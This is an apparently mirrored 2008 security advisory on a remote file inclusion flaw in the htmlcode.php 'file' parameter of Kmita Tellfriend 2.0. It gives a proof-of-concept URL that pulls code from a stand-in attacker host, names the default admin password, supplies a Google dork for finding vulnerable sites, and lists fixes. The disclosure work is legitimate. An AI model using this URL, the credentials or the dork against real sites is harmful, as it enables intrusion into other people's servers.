Kmita Tellfriend <= 2.0 (file) Remote File Inclusion Vulnerability

🗓️ 07 May 2008 00:00:00Reported by RootType
Kmita Tellfriend <= 2.0 Remote File Inclusion Vulnerability. Input passed to the "file" parameter in htmlcode.php is not properly verifie

                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\_&nbsp;&nbsp;&nbsp;_____/\_&nbsp;&nbsp;&nbsp;___&nbsp;\&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;\&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\___\&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;\
/_______&nbsp;&nbsp;/&nbsp;\______&nbsp;&nbsp;/\___|_&nbsp;&nbsp;/\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_93$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_93$2008]&nbsp;&nbsp;&nbsp;Kmita&nbsp;Tellfriend&nbsp;&lt;=&nbsp;2.0&nbsp;(file)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;May,&nbsp;5&nbsp;th&nbsp;2008
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Jakarta,&nbsp;Indonesia
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://advisories.echo.or.id/adv/adv93-K-159-2008.txt
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;High
Impact	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;System&nbsp;access
Where	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;From&nbsp;Remote
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;Kmita&nbsp;Tellfriend
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&lt;=&nbsp;2.0
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.kmita-tellfriend.com/
Description&nbsp;&nbsp;&nbsp;:

Utilize&nbsp;your&nbsp;website's&nbsp;maximum&nbsp;capacity.&nbsp;Harness&nbsp;your&nbsp;existing&nbsp;visitor&nbsp;turnover&nbsp;itself&nbsp;to&nbsp;increase&nbsp;your&nbsp;website&nbsp;traffic.
Well,&nbsp;this&nbsp;is&nbsp;what&nbsp;Kmita&nbsp;Tell&nbsp;Friend&nbsp;v2&nbsp;is&nbsp;all&nbsp;about.&nbsp;Kmita&nbsp;Tell&nbsp;Friend&nbsp;installs&nbsp;easily&nbsp;and&nbsp;lets&nbsp;you&nbsp;provide&nbsp;a&nbsp;link&nbsp;on&nbsp;your&nbsp;website&nbsp;so&nbsp;that&nbsp;your&nbsp;visitors&nbsp;can&nbsp;recommend&nbsp;your&nbsp;website&nbsp;to&nbsp;their&nbsp;friends.
There&nbsp;are&nbsp;lots&nbsp;of&nbsp;options&nbsp;and&nbsp;customizations&nbsp;ranging&nbsp;from&nbsp;specifying&nbsp;the&nbsp;success&nbsp;page&nbsp;to&nbsp;dynamically&nbsp;specifying&nbsp;the&nbsp;page&nbsp;URL.&nbsp;Kmita&nbsp;Tell&nbsp;Friend&nbsp;can&nbsp;handle&nbsp;unlimited&nbsp;number&nbsp;of&nbsp;recommend&nbsp;forms&nbsp;in&nbsp;one&nbsp;installation&nbsp;itself,&nbsp;that&nbsp;means&nbsp;you&nbsp;need&nbsp;not&nbsp;copy&nbsp;the&nbsp;script&nbsp;over&nbsp;and&nbsp;over&nbsp;again&nbsp;for&nbsp;different&nbsp;recommend&nbsp;forms
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;&quot;file&quot;&nbsp;parameter&nbsp;in&nbsp;htmlcode.php&nbsp;is&nbsp;not&nbsp;properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used&nbsp;to&nbsp;include&nbsp;files.&nbsp;
This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;to&nbsp;include&nbsp;arbitrary&nbsp;files&nbsp;from&nbsp;local&nbsp;or&nbsp;external&nbsp;resources.
Successful&nbsp;exploitation&nbsp;requires&nbsp;that&nbsp;&quot;register_globals&quot;&nbsp;is&nbsp;enabled.


Poc/Exploit:
~~~~~~~~~

http://www.target.com/kmitaadmin/kmitat/htmlcode.php?file=http://attacker.com/evil?

Note:&nbsp;sometimes&nbsp;need&nbsp;to&nbsp;login&nbsp;first.the&nbsp;default&nbsp;user&nbsp;&amp;&nbsp;password&nbsp;are&nbsp;admin


Dork:
~~~~
Google&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&quot;Powered&nbsp;by&nbsp;Kmita&nbsp;Tell&nbsp;Friend&quot;&nbsp;&quot;allinurl:/kmitat/&quot;
&nbsp;

Solution:
~~~~~~

-&nbsp;Edit&nbsp;the&nbsp;source&nbsp;code&nbsp;to&nbsp;ensure&nbsp;that&nbsp;input&nbsp;is&nbsp;properly&nbsp;verified.
-&nbsp;Turn&nbsp;off&nbsp;register_globals&nbsp;in&nbsp;php.ini
&nbsp;

Timeline:
~~~~~~~~

-&nbsp;02&nbsp;-&nbsp;05&nbsp;-&nbsp;2008&nbsp;bug&nbsp;found
-&nbsp;05&nbsp;-&nbsp;05&nbsp;-&nbsp;2008&nbsp;vendor&nbsp;contacted
-&nbsp;05&nbsp;-&nbsp;05&nbsp;-&nbsp;2008&nbsp;advisory&nbsp;released
---------------------------------------------------------------------------

Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;zautha&nbsp;my&nbsp;light&nbsp;of&nbsp;eyes,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,&nbsp;az01,negative,the_hydra,neng&nbsp;chika,&nbsp;str0ke
~&nbsp;everybody&nbsp;[at]&nbsp;SCAN-NUSANTARA&nbsp;and&nbsp;SCAN-ASSOSIATES
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~&nbsp;dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,&nbsp;ketut,&nbsp;rizal,&nbsp;cR4SH3R,&nbsp;kuntua,&nbsp;stev_manado,&nbsp;nofry,k1tk4t,0pt1c
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net
~&nbsp;special&nbsp;for&nbsp;rgod&nbsp;-&nbsp;good&nbsp;bye&nbsp;mate,&nbsp;thanks&nbsp;for&nbsp;the&nbsp;great&nbsp;works.
---------------------------------------------------------------------------
Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------
07 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1
Kmita Tellfriend &lt;= 2.0 (file) Remote File Inclusion Vulnerability

Kmita Tellfriend <= 2.0 (file) Remote File Inclusion Vulnerability
